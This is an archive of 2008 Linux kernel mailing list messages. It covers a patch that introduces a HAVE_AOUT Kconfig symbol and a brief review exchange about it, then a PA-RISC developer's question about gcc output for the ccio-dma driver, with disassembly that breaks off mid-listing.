	See http://www.infradead.org/rpr.html
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:4019 gmane.linux.kernel:694795 gmane.linux.ports.parisc:422 gmane.linux.kernel.cross-arch:1455
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/422>

On Tue, 2008-06-17 at 13:11 +0300, Adrian Bunk wrote:
> The pattern for this stuff is to provide a HAVE_AOUT kconfig variable 
> that gets select'ed by these architectures.

http://git.infradead.org/users/dwmw2/aout-2.6.git?a=commitdiff;h=a5db5179

Subject: [PATCH] Introduce HAVE_AOUT symbol to remove hard-coded arch list for BINFMT_AOUT

HAVE_AOUT doesn't quite do the same thing as the recently removed
ARCH_SUPPORTS_AOUT config option. That was set even on platforms where
binfmt_aout isn't supported, although it's not entirely clear why.

So it's best just to introduce a new symbol, handled consistently with
other similar HAVE_xxx symbols; with a simple 'select' the arch Kconfig.

Signed-off-by: David Woodhouse <dwmw2@infradead.org>
---
 arch/alpha/Kconfig |    1 +
 arch/arm/Kconfig   |    1 +
 arch/m68k/Kconfig  |    1 +
 arch/x86/Kconfig   |    1 +
 fs/Kconfig.binfmt  |    5 ++++-
 5 files changed, 8 insertions(+), 1 deletions(-)

diff --git a/arch/alpha/Kconfig b/arch/alpha/Kconfig
index 207196e..f80e548 100644
--- a/arch/alpha/Kconfig
+++ b/arch/alpha/Kconfig
@@ -7,6 +7,7 @@ config ALPHA
 	default y
 	select HAVE_IDE
 	select HAVE_OPROFILE
+	select HAVE_AOUT
 	help
 	  The Alpha is a 64-bit general-purpose processor designed and
 	  marketed by the Digital Equipment Corporation of blessed memory,
diff --git a/arch/arm/Kconfig b/arch/arm/Kconfig
index 8fd3ab3..2be8bd7 100644
--- a/arch/arm/Kconfig
+++ b/arch/arm/Kconfig
@@ -14,6 +14,7 @@ config ARM
 	select HAVE_OPROFILE
 	select HAVE_KPROBES if (!XIP_KERNEL)
 	select HAVE_KRETPROBES if (HAVE_KPROBES)
+	select HAVE_AOUT
 	help
 	  The ARM series is a line of low-power-consumption RISC chip designs
 	  licensed by ARM Ltd and targeted at embedded applications and
diff --git a/arch/m68k/Kconfig b/arch/m68k/Kconfig
index bfb6395..83c4338 100644
--- a/arch/m68k/Kconfig
+++ b/arch/m68k/Kconfig
@@ -6,6 +6,7 @@ config M68K
 	bool
 	default y
 	select HAVE_IDE
+	select HAVE_AOUT
 
 config MMU
 	bool
diff --git a/arch/x86/Kconfig b/arch/x86/Kconfig
index 8fdaa70..bd066ae 100644
--- a/arch/x86/Kconfig
+++ b/arch/x86/Kconfig
@@ -25,6 +25,7 @@ config X86
 	select HAVE_KRETPROBES
 	select HAVE_KVM if ((X86_32 && !X86_VOYAGER && !X86_VISWS && !X86_NUMAQ) || X86_64)
 	select HAVE_ARCH_KGDB if !X86_VOYAGER
+	select HAVE_AOUT if X86_32
 
 config ARCH_DEFCONFIG
 	string
diff --git a/fs/Kconfig.binfmt b/fs/Kconfig.binfmt
index 0999d5c..5592e08 100644
--- a/fs/Kconfig.binfmt
+++ b/fs/Kconfig.binfmt
@@ -59,9 +59,12 @@ config BINFMT_SHARED_FLAT
 	help
 	  Support FLAT shared libraries
 
+config HAVE_AOUT
+       def_bool n
+
 config BINFMT_AOUT
 	tristate "Kernel support for a.out and ECOFF binaries"
-	depends on (X86_32 || ALPHA || ARM || M68K)
+	depends on HAVE_AOUT
 	---help---
 	  A.out (Assembler.OUTput) is a set of formats for libraries and
 	  executables used in the earliest versions of UNIX.  Linux used
-- 
1.5.5.1


-- 
dwmw2

--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:24 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: architectures with ARCH_SUPPORTS_AOUT but no binfmt_aout
Date: Tue, 17 Jun 2008 14:23:46 +0200
Lines: 33
Approved: news@gmane.org
Message-ID: <20080617122346.GA10598@uranus.ravnborg.org>
References: <1213565555.26255.522.camel@pmac.infradead.org> <1213604973-7073-1-git-send-email-jacmet@sunsite.dk> <1213617663.26255.708.camel@pmac.infradead.org> <20080616121727.GB10854@cs181133002.pp.htv.fi> <1213619214.26255.721.camel@pmac.infradead.org> <20080617084235.GA20169@cs181133002.pp.htv.fi> <1213696004.26255.960.camel@pmac.infradead.org> <20080617101112.GE20169@cs181133002.pp.htv.fi> <1213702113.26255.996.camel@pmac.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1213705403 9662 80.91.229.12 (17 Jun 2008 12:23:23 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Jun 2008 12:23:23 +0000 (UTC)
Cc: Adrian Bunk <bunk@kernel.org>, Peter Korsgaard <jacmet@sunsite.dk>,
	linux-kernel@vger.kernel.org, dhowells@redhat.com,
	andi@firstfloor.org, "Kirill A. Shutemov" <k.shutemov@gmail.com>,
	ysato@users.sourceforge.jp, takata@linux-m32r.org,
	linux-m32r@ml.linux-m32r.org, kyle@mcmartin.ca, matthew@wil.cx,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	lethal@linux-sh.org, linux-sh@vger.kernel.org,
	linux-arch@vger.kernel.org
To: David Woodhouse <dwmw2@infradead.org>
Original-X-From: linux-sh-owner@vger.kernel.org Tue Jun 17 14:24:04 2008
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8aEC-0000oU-L3
	for glps-linuxsh-dev@gmane.org; Tue, 17 Jun 2008 14:24:01 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1755827AbYFQMXI (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Tue, 17 Jun 2008 08:23:08 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755786AbYFQMXI
	(ORCPT <rfc822;linux-sh-outgoing>); Tue, 17 Jun 2008 08:23:08 -0400
Original-Received: from pasmtpa.tele.dk ([80.160.77.114]:55466 "EHLO pasmtpA.tele.dk"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1755713AbYFQMXG (ORCPT <rfc822;linux-sh@vger.kernel.org>);
	Tue, 17 Jun 2008 08:23:06 -0400
Original-Received: from ravnborg.org (0x535d98d8.vgnxx8.adsl-dhcp.tele.dk [83.93.152.216])
	by pasmtpA.tele.dk (Postfix) with ESMTP id B3044800646;
	Tue, 17 Jun 2008 14:23:01 +0200 (CEST)
Original-Received: by ravnborg.org (Postfix, from userid 500)
	id 872A4580D9; Tue, 17 Jun 2008 14:23:46 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1213702113.26255.996.camel@pmac.infradead.org>
User-Agent: Mutt/1.4.2.1i
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:4020 gmane.linux.kernel:694804 gmane.linux.ports.parisc:423 gmane.linux.kernel.cross-arch:1456
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/423>

On Tue, Jun 17, 2008 at 12:28:33PM +0100, David Woodhouse wrote:
> On Tue, 2008-06-17 at 13:11 +0300, Adrian Bunk wrote:
> > The pattern for this stuff is to provide a HAVE_AOUT kconfig variable 
> > that gets select'ed by these architectures.
> 
> http://git.infradead.org/users/dwmw2/aout-2.6.git?a=commitdiff;h=a5db5179
> 
> Subject: [PATCH] Introduce HAVE_AOUT symbol to remove hard-coded arch list for BINFMT_AOUT
> 
> HAVE_AOUT doesn't quite do the same thing as the recently removed
> ARCH_SUPPORTS_AOUT config option. That was set even on platforms where
> binfmt_aout isn't supported, although it's not entirely clear why.
> 
> So it's best just to introduce a new symbol, handled consistently with
> other similar HAVE_xxx symbols; with a simple 'select' the arch Kconfig.

Looks good.
One minor issue...


> @@ -7,6 +7,7 @@ config ALPHA
>  	default y
>  	select HAVE_IDE
>  	select HAVE_OPROFILE
> +	select HAVE_AOUT
Sorting these alphabetically will result in less merge conflicts when the list grows.

	Sam
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Woodhouse <dwmw2@infradead.org>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.ports.sh.devel
Subject: Re: architectures with ARCH_SUPPORTS_AOUT but no binfmt_aout
Date: Tue, 17 Jun 2008 13:29:09 +0100
Lines: 12
Approved: news@gmane.org
Message-ID: <1213705749.26255.1027.camel@pmac.infradead.org>
References: <1213565555.26255.522.camel@pmac.infradead.org>
	 <1213604973-7073-1-git-send-email-jacmet@sunsite.dk>
	 <1213617663.26255.708.camel@pmac.infradead.org>
	 <20080616121727.GB10854@cs181133002.pp.htv.fi>
	 <1213619214.26255.721.camel@pmac.infradead.org>
	 <20080617084235.GA20169@cs181133002.pp.htv.fi>
	 <1213696004.26255.960.camel@pmac.infradead.org>
	 <20080617101112.GE20169@cs181133002.pp.htv.fi>
	 <1213702113.26255.996.camel@pmac.infradead.org>
	 <20080617122346.GA10598@uranus.ravnborg.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213705786 10922 80.91.229.12 (17 Jun 2008 12:29:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Jun 2008 12:29:46 +0000 (UTC)
Cc: Adrian Bunk <bunk@kernel.org>, Peter Korsgaard <jacmet@sunsite.dk>,
	linux-kernel@vger.kernel.org, dhowells@redhat.com,
	andi@firstfloor.org, "Kirill A. Shutemov" <k.shutemov@gmail.com>,
	ysato@users.sourceforge.jp, takata@linux-m32r.org,
	linux-m32r@ml.linux-m32r.org, kyle@mcmartin.ca, matthew@wil.cx,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	lethal@linux-sh.org, linux-sh@vger.kernel.org,
	linux-arch@vger.kernel.org
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-arch-owner@vger.kernel.org Tue Jun 17 14:30:28 2008
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8aKK-0003D4-Bk
	for glka-linux-arch@gmane.org; Tue, 17 Jun 2008 14:30:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756076AbYFQM32 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Tue, 17 Jun 2008 08:29:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755995AbYFQM32
	(ORCPT <rfc822;linux-arch-outgoing>);
	Tue, 17 Jun 2008 08:29:28 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:47592 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755753AbYFQM30 (ORCPT
	<rfc822;linux-arch@vger.kernel.org>); Tue, 17 Jun 2008 08:29:26 -0400
Original-Received: from pmac.infradead.org ([2001:8b0:10b:1:20d:93ff:fe7a:3f2c])
	by bombadil.infradead.org with esmtpsa (Exim 4.68 #1 (Red Hat Linux))
	id 1K8aJE-0000Uu-Rf; Tue, 17 Jun 2008 12:29:13 +0000
In-Reply-To: <20080617122346.GA10598@uranus.ravnborg.org>
X-Mailer: Evolution 2.22.1 (2.22.1-2.fc9) 
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:1457 gmane.linux.kernel:694813 gmane.linux.ports.parisc:424 gmane.linux.ports.sh.devel:4021
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/424>

On Tue, 2008-06-17 at 14:23 +0200, Sam Ravnborg wrote:
> Sorting these alphabetically will result in less merge conflicts when
> the list grows.

Maybe, but it doesn't grow that fast -- and it's small enough that if I
add stuff in the middle, the context will cover the whole thing and
cause a merge conflict either way. And it isn't in alphabetical order
now either :)

-- 
dwmw2


From - Thu Nov 08 21:02:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Sam Ravnborg <sam@ravnborg.org>
Newsgroups: gmane.linux.ports.sh.devel,gmane.linux.kernel,gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch
Subject: Re: architectures with ARCH_SUPPORTS_AOUT but no binfmt_aout
Date: Tue, 17 Jun 2008 14:37:17 +0200
Lines: 20
Approved: news@gmane.org
Message-ID: <20080617123717.GC10598@uranus.ravnborg.org>
References: <1213604973-7073-1-git-send-email-jacmet@sunsite.dk> <1213617663.26255.708.camel@pmac.infradead.org> <20080616121727.GB10854@cs181133002.pp.htv.fi> <1213619214.26255.721.camel@pmac.infradead.org> <20080617084235.GA20169@cs181133002.pp.htv.fi> <1213696004.26255.960.camel@pmac.infradead.org> <20080617101112.GE20169@cs181133002.pp.htv.fi> <1213702113.26255.996.camel@pmac.infradead.org> <20080617122346.GA10598@uranus.ravnborg.org> <1213705749.26255.1027.camel@pmac.infradead.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1213706208 12563 80.91.229.12 (17 Jun 2008 12:36:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Jun 2008 12:36:48 +0000 (UTC)
Cc: Adrian Bunk <bunk@kernel.org>, Peter Korsgaard <jacmet@sunsite.dk>,
	linux-kernel@vger.kernel.org, dhowells@redhat.com,
	andi@firstfloor.org, "Kirill A. Shutemov" <k.shutemov@gmail.com>,
	ysato@users.sourceforge.jp, takata@linux-m32r.org,
	linux-m32r@ml.linux-m32r.org, kyle@mcmartin.ca, matthew@wil.cx,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	lethal@linux-sh.org, linux-sh@vger.kernel.org,
	linux-arch@vger.kernel.org
To: David Woodhouse <dwmw2@infradead.org>
Original-X-From: linux-sh-owner@vger.kernel.org Tue Jun 17 14:37:30 2008
Return-path: <linux-sh-owner@vger.kernel.org>
Envelope-to: glps-linuxsh-dev@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8aRF-0005oh-Q3
	for glps-linuxsh-dev@gmane.org; Tue, 17 Jun 2008 14:37:30 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756553AbYFQMgh (ORCPT <rfc822;glps-linuxsh-dev@m.gmane.org>);
	Tue, 17 Jun 2008 08:36:37 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756295AbYFQMgh
	(ORCPT <rfc822;linux-sh-outgoing>); Tue, 17 Jun 2008 08:36:37 -0400
Original-Received: from pasmtpb.tele.dk ([80.160.77.98]:42013 "EHLO pasmtpB.tele.dk"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1756142AbYFQMgf (ORCPT <rfc822;linux-sh@vger.kernel.org>);
	Tue, 17 Jun 2008 08:36:35 -0400
Original-Received: from ravnborg.org (0x535d98d8.vgnxx8.adsl-dhcp.tele.dk [83.93.152.216])
	by pasmtpB.tele.dk (Postfix) with ESMTP id 085E7E30837;
	Tue, 17 Jun 2008 14:36:33 +0200 (CEST)
Original-Received: by ravnborg.org (Postfix, from userid 500)
	id 05AF2580DA; Tue, 17 Jun 2008 14:37:18 +0200 (CEST)
Content-Disposition: inline
In-Reply-To: <1213705749.26255.1027.camel@pmac.infradead.org>
User-Agent: Mutt/1.4.2.1i
Original-Sender: linux-sh-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-sh.vger.kernel.org>
X-Mailing-List: linux-sh@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.sh.devel:4022 gmane.linux.kernel:694816 gmane.linux.ports.parisc:425 gmane.linux.kernel.cross-arch:1458
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/425>

On Tue, Jun 17, 2008 at 01:29:09PM +0100, David Woodhouse wrote:
> On Tue, 2008-06-17 at 14:23 +0200, Sam Ravnborg wrote:
> > Sorting these alphabetically will result in less merge conflicts when
> > the list grows.
> 
> Maybe, but it doesn't grow that fast -- and it's small enough that if I
> add stuff in the middle, the context will cover the whole thing and
> cause a merge conflict either way. And it isn't in alphabetical order
> now either :)
I know and I know.
If someone did the janitorial effort and converted all the
per-arch defined symbols to one single definiton
and select the list would grow rapidly.

	Sam
--
To unsubscribe from this list: send the line "unsubscribe linux-sh" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: David Woodhouse <dwmw2@infradead.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel,gmane.linux.ports.sh.devel,gmane.linux.kernel.cross-arch
Subject: Re: architectures with ARCH_SUPPORTS_AOUT but no binfmt_aout
Date: Tue, 17 Jun 2008 13:54:21 +0100
Lines: 18
Approved: news@gmane.org
Message-ID: <1213707261.26255.1038.camel@pmac.infradead.org>
References: <1213604973-7073-1-git-send-email-jacmet@sunsite.dk>
	 <1213617663.26255.708.camel@pmac.infradead.org>
	 <20080616121727.GB10854@cs181133002.pp.htv.fi>
	 <1213619214.26255.721.camel@pmac.infradead.org>
	 <20080617084235.GA20169@cs181133002.pp.htv.fi>
	 <1213696004.26255.960.camel@pmac.infradead.org>
	 <20080617101112.GE20169@cs181133002.pp.htv.fi>
	 <1213702113.26255.996.camel@pmac.infradead.org>
	 <20080617122346.GA10598@uranus.ravnborg.org>
	 <1213705749.26255.1027.camel@pmac.infradead.org>
	 <20080617123717.GC10598@uranus.ravnborg.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1213707294 16528 80.91.229.12 (17 Jun 2008 12:54:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Tue, 17 Jun 2008 12:54:54 +0000 (UTC)
Cc: Adrian Bunk <bunk@kernel.org>, Peter Korsgaard <jacmet@sunsite.dk>,
	linux-kernel@vger.kernel.org, dhowells@redhat.com,
	andi@firstfloor.org, "Kirill A. Shutemov" <k.shutemov@gmail.com>,
	ysato@users.sourceforge.jp, takata@linux-m32r.org,
	linux-m32r@ml.linux-m32r.org, kyle@mcmartin.ca, matthew@wil.cx,
	grundler@parisc-linux.org, linux-parisc@vger.kernel.org,
	lethal@linux-sh.org, linux-sh@vger.kernel.org,
	linux-arch@vger.kernel.org
To: Sam Ravnborg <sam@ravnborg.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Tue Jun 17 14:55:36 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K8aik-0004TX-Ra
	for glpp-linux-parisc@gmane.org; Tue, 17 Jun 2008 14:55:35 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1756488AbYFQMyl (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Tue, 17 Jun 2008 08:54:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756118AbYFQMyk
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Tue, 17 Jun 2008 08:54:40 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:36800 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1755797AbYFQMyj (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Tue, 17 Jun 2008 08:54:39 -0400
Original-Received: from pmac.infradead.org ([2001:8b0:10b:1:20d:93ff:fe7a:3f2c])
	by bombadil.infradead.org with esmtpsa (Exim 4.68 #1 (Red Hat Linux))
	id 1K8ahd-00010H-7b; Tue, 17 Jun 2008 12:54:29 +0000
In-Reply-To: <20080617123717.GC10598@uranus.ravnborg.org>
X-Mailer: Evolution 2.22.1 (2.22.1-2.fc9) 
X-SRS-Rewrite: SMTP reverse-path rewritten from <dwmw2@infradead.org> by bombadil.infradead.org
	See http://www.infradead.org/rpr.html
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:426 gmane.linux.kernel:694823 gmane.linux.ports.sh.devel:4023 gmane.linux.kernel.cross-arch:1459
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/426>

On Tue, 2008-06-17 at 14:37 +0200, Sam Ravnborg wrote:
> I know and I know.
> If someone did the janitorial effort and converted all the
> per-arch defined symbols to one single definiton
> and select the list would grow rapidly.

http://git.infradead.org/users/dwmw2/aout-2.6.git?a=commitdiff;h=e75fd00c

They're still not in alphabetical order, but I haven't made it worse :)

-- 
dwmw2

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:25 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <soete.joel@scarlet.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Yet another inline asm worry: mtsp() macro (and may be other)?
Date: Thu, 19 Jun 2008 12:40:30 +0100
Lines: 120
Approved: news@gmane.org
Message-ID: <K2PKFI$6B7F5B0E10C229208B934B9E4E289468@scarlet.be>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7BIT
X-Trace: ger.gmane.org 1213876585 28352 80.91.229.12 (19 Jun 2008 11:56:25 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 19 Jun 2008 11:56:25 +0000 (UTC)
Cc: "Helge Deller" <deller@gmx.de>,
	"grundler" <grundler@parisc-linux.org>, "kyle" <kyle@mcmartin.ca>
To: "linux-parisc" <linux-parisc@vger.kernel.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Jun 19 13:57:08 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1K9IlH-0000jj-57
	for glpp-linux-parisc@gmane.org; Thu, 19 Jun 2008 13:57:07 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753082AbYFSL4P (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 19 Jun 2008 07:56:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753960AbYFSL4P
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 19 Jun 2008 07:56:15 -0400
Original-Received: from sif.is.scarlet.be ([193.74.71.28]:37889 "EHLO sif.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753082AbYFSL4P convert rfc822-to-8bit (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 19 Jun 2008 07:56:15 -0400
X-Greylist: delayed 874 seconds by postgrey-1.27 at vger.kernel.org; Thu, 19 Jun 2008 07:56:14 EDT
Original-Received: from scarlet.be (fuji.is.scarlet.be [193.74.71.41])
	by sif.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m5JBeZKL003433;
	Thu, 19 Jun 2008 13:40:36 +0200
X-Sensitivity: 3
X-XaM3-API-Version: 4.1 (B54)
X-type: 0
X-SenderIP: 57.67.177.33
X-DCC-scarlet.be-Metrics: sif; whitelist
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:427
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/427>

Hello all,

Grant, in a first approach I would like to address this post to you because
all start from ccio-dma (again yes) when I figure out that in fact gcc-4.2 rob
a part this driver code???

My first worry was about the form takes the resulting code of <ccio_io_pdir_entry>
for remind:
    0:   cb 39 a0 60     movb,<> r25,r25,38 <ccio_io_pdir_entry+0x38>
    4:   34 1c 00 00     ldi 0,ret0
    8:   00 1c 58 20     mtsp ret0,sr1
    c:   22 60 0e 01     ldil L%-10000000,r19
   10:   0a 78 0a 13     add,l r24,r19,r19
   14:   d6 77 0c 14     depw r23,31,12,r19
   18:   0f 53 12 88     stw r19,4(r26)
   1c:   07 00 53 1c     lci r0(sr1,r24),ret0
   20:   d3 9c 1a 74     extrw,u ret0,19,12,ret0
   24:   d7 3c 0e 14     depw ret0,15,12,r25
   28:   0f 59 12 80     stw r25,0(r26)
   2c:   07 40 12 80     fdc r0(r26)
   30:   00 00 04 00     sync
   34:   e8 40 c0 02     bv,n r0(rp)
   38:   03 ff e0 1f     break 1f,1fff
   3c:   e8 1f 1f f7     b,l,n 3c <ccio_io_pdir_entry+0x3c>,r0

The question was why sr1 is always set to 0 when it's actualy a function
parameter (iirc 2d arg i.e. r25?)

Fwiw removing BUG_ON() seems to fix this issue?

btw as far as it must be KERNEL_SPACE, couldn't we simplify stuff: removing
sid parameter and replace mtsp macro call with a simple asm volatile("mtsp
%%r0,%%sr1":::"memory")?

Then I look for all the call to function (ccio_io_pdir_entry) even thought
it's inligned with those mtsp and lci it would be easy to find it.
The C code learn me that it would call in ccio_map_single() and thanks with
iommu_helper.h in ccio_map_sg(). But objdump -D ccio-dma.o shows me only one
place where this code is used 
00000000 <ccio_map_single>:
[snip]
  84:   34 14 00 00     ldi 0,r20
  88:   00 14 58 20     mtsp r20,sr1
  8c:   0a a3 0a 13     add,l r3,r21,r19
  90:   d6 65 0c 14     depw r5,31,12,r19
  94:   0f 53 12 88     stw r19,4(r26)   
  98:   04 60 53 1c     lci r0(sr1,r3),ret0
  9c:   d3 9c 1a 74     extrw,u ret0,19,12,ret0
  a0:   d6 9c 0e 14     depw ret0,15,12,r20
  a4:   0f 54 12 80     stw r20,0(r26)
  a8:   07 40 12 80     fdc r0(r26)
  ac:   00 00 04 00     sync
[snip]

and not in ccio_map_sg() (even not a call to ccio_io_pdir_entry() in case he
didn't reach to inline it).

And the wonder is that my system d380 is even booting and running despite this
lake???

That said with gcc-4.3, I find well this code iin the 2 functions.
And here commes my worry about mtsp() macro: here is the resulting code with
gcc-4.3:
00000000 <ccio_map_sg>:
[snip]
__ 1a0:   34 1a 00 00     ldi 0,r26__
 1a4:   20 a0 02 00     ldil L%10000000,r5
 1a8:   8e 80 61 28     cmpib,> 0,r20,244 <ccio_map_sg+0x244>
 1ac:   20 40 0e 01     ldil L%-10000000,rp
 1b0:   86 c0 21 88     cmpib,= 0,r22,27c <ccio_map_sg+0x27c>
 1b4:   34 19 00 00     ldi 0,r25
 1b8:   0f e0 10 9c     ldw 0(r31),ret0
 1bc:   0d 80 10 94     ldw 0(r12),r20
 1c0:   d7 80 1c 1e     depwi 0,31,2,ret0
 1c4:   4b b3 00 20     ldw 10(ret1),r19
 1c8:   0a 9c 04 1c     sub ret0,r20,ret0
 1cc:   0f f0 10 95     ldw 8(r31),r21 
 1d0:   d3 9c 1f 45     extrw,s ret0,26,27,ret0
 1d4:   0a b3 0a 13     add,l r19,r21,r19
 1d8:   d7 9c 09 8c     depw,z ret0,19,20,ret0
 1dc:   0f e8 10 94     ldw 4(r31),r20 
 1e0:   08 bc 0a 1c     add,l ret0,r5,ret0
 1e4:   6b b3 00 20     stw r19,10(ret1)
 1e8:   0a b9 0a 15     add,l r25,r21,r21
 1ec:   0a 9c 0a 14     add,l ret0,r20,r20
__ 1f0:   00 1a 58 20     mtsp r26,sr1  __
 1f4:   08 54 0a 1c     add,l r20,rp,ret0
 1f8:   d7 8e 0c 14     depw r14,31,12,ret0
 1fc:   0e dc 12 88     stw ret0,4(r22)
 200:   06 80 53 13     lci r0(sr1,r20),r19
